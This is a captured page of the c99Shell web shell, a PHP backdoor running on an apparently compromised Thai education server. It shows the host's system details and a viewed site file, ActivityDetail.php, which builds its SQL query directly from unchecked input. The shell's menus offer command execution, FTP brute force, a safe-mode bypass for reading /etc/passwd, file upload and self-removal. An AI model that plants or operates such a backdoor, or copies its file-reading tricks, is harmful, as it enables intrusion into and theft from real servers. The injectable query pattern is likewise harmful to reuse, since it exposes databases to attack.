!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Foster/   drwxr-xr-x
Free 50.9 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ActivityDetail.php (7.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../../include/FunctionDB.php");
ConnectDB();
$sql =  " SELECT * FROM  cul_activity_tb Where code='$code' ";
$result mysql_query($sql) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title>Display Project</title>
<link rel="stylesheet" href="cart4.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" style="border:1px solid gray">
  <tr bgcolor="#DFE4EC"> 
    <td colspan="3"> 
      <div align="center"><font color="#003366" size="4" face="Tahoma"><strong>ข้อมูลรายละเอียด<font color="#003366" size="4" face="Tahoma">งานทำนุบำรุงศิลปวัฒนธรรม</font></strong></font></div></td>
  </tr>
  <form action="" method="">
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td width="32%" bgcolor="#FFFEF4"> 
        <div align="center"><font color="#000066" size="2"><font face="Tahoma">ชื่อโครงการ 
          / กิจกรรม</font></font></div></td>
      <td width="2%" bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td width="66%" bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Activity_name]?>&nbsp;</font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#000066" size="2"><font face="Tahoma">ประเภท</font></font></div></td>
      <td bgcolor="#FFFEF4"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FFFEF4"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Activity_type]?>&nbsp;</font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma">ดำเนินการ</font></div></td>
      <td bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Perform]?>&nbsp;</font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4">
<div align="center"><font color="#000066" size="2"><font color="#003366" size="2" face="Tahoma">กิจกรรม</font></font></div></td>
      <td bgcolor="#FFFEF4">&nbsp;</td>
      <td bgcolor="#FFFEF4"><font size="2" face="Tahoma"><? echo $rs[Activity]?></font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4">
<div align="center"><font color="#003366" size="2" face="Tahoma">ระยะเวลา</font></div></td>
      <td bgcolor="#FBF5E3">&nbsp;</td>
      <td bgcolor="#FBF5E3"><font size="2" face="Tahoma"><? echo $rs[Period]?></font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4">
<div align="center"><font color="#003366" size="2" face="Tahoma">งบประมาณ</font></div></td>
      <td bgcolor="#FFFEF4">&nbsp;</td>
      <td bgcolor="#FFFEF4"><font size="2" face="Tahoma"><? echo $rs[Fund]?></font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma">แหล่งงบประมาณ</font></div></td>
      <td bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Source]?>&nbsp;</font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4">
<div align="center"><font color="#003366" size="2" face="Tahoma">กลุ่มเป้าหมาย</font></div></td>
      <td bgcolor="#FFFEF4"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FFFEF4"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Target]?>&nbsp; 
          </font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#000066" size="2"><font color="#003366" size="2" face="Tahoma">ผู้เข้าร่วมกิจกรรม</font></font></div></td>
      <td bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Amount]?>&nbsp;</font></div></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma">ผู้รับผิดชอบ</font></div></td>
      <td bgcolor="#FFFEF4"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FFFEF4"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Supervisor]?>&nbsp;</font></div></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4">
<div align="center"><font size="2" face="Tahoma">หน้าที่</font></div></td>
      <td bgcolor="#FBF5E3">&nbsp;</td>
      <td bgcolor="#FBF5E3"><font size="2" face="Tahoma"><? echo $rs[Duty]?></font></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma">วัตถุประสงค</font><font size="2" face="Tahoma">์</font></div></td>
      <td bgcolor="#FFFEF4"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FFFEF4"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Objective]?>&nbsp;</font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma">ดัชนีชี้วัดความสำเร็จของงาน</font><font color="#000066" size="2"></font></div></td>
      <td bgcolor="#FBF5E3"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FBF5E3"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Index_mature]?>&nbsp;</font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma">คุณลักษณะที่พึงประสงค์</font></div></td>
      <td bgcolor="#FFFEF4"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FFFEF4"> <div align="left"><font size="2" face="Tahoma"><? echo $rs[Spec]?>&nbsp;</font></div></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma">สมรรถนะชั้นปี</font></div></td>
      <td bgcolor="#FBF5E3">&nbsp;</td>
      <td bgcolor="#FBF5E3"><font size="2" face="Tahoma"><? echo $rs[Affect_class]?></font></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE"> 
      <td bgcolor="#FFFEF4"> 
        <div align="center"><font color="#003366" size="2" face="Tahoma">วิธีการวัด 
          / ผลการประเมิน</font><font color="#000066" size="2"></font></div></td>
      <td bgcolor="#FFFEF4"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td bgcolor="#FFFEF4"> <div align="left"><font size="2" face="Tahoma"><strong><? echo $rs[Asses]?></strong>&nbsp;</font></div></td>
    </tr>
  </form>
  <tr bgcolor="#DFE4EC"> 
    <td colspan="3">&nbsp;</td>
  </tr>
</table>
<table width="79%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td><div align="center"> 
        <input type="button"onclick="window.print()"value="     พิมพ์     " class="button">
        &nbsp;</div></td>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>
<?php
CloseDB
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0107 ]--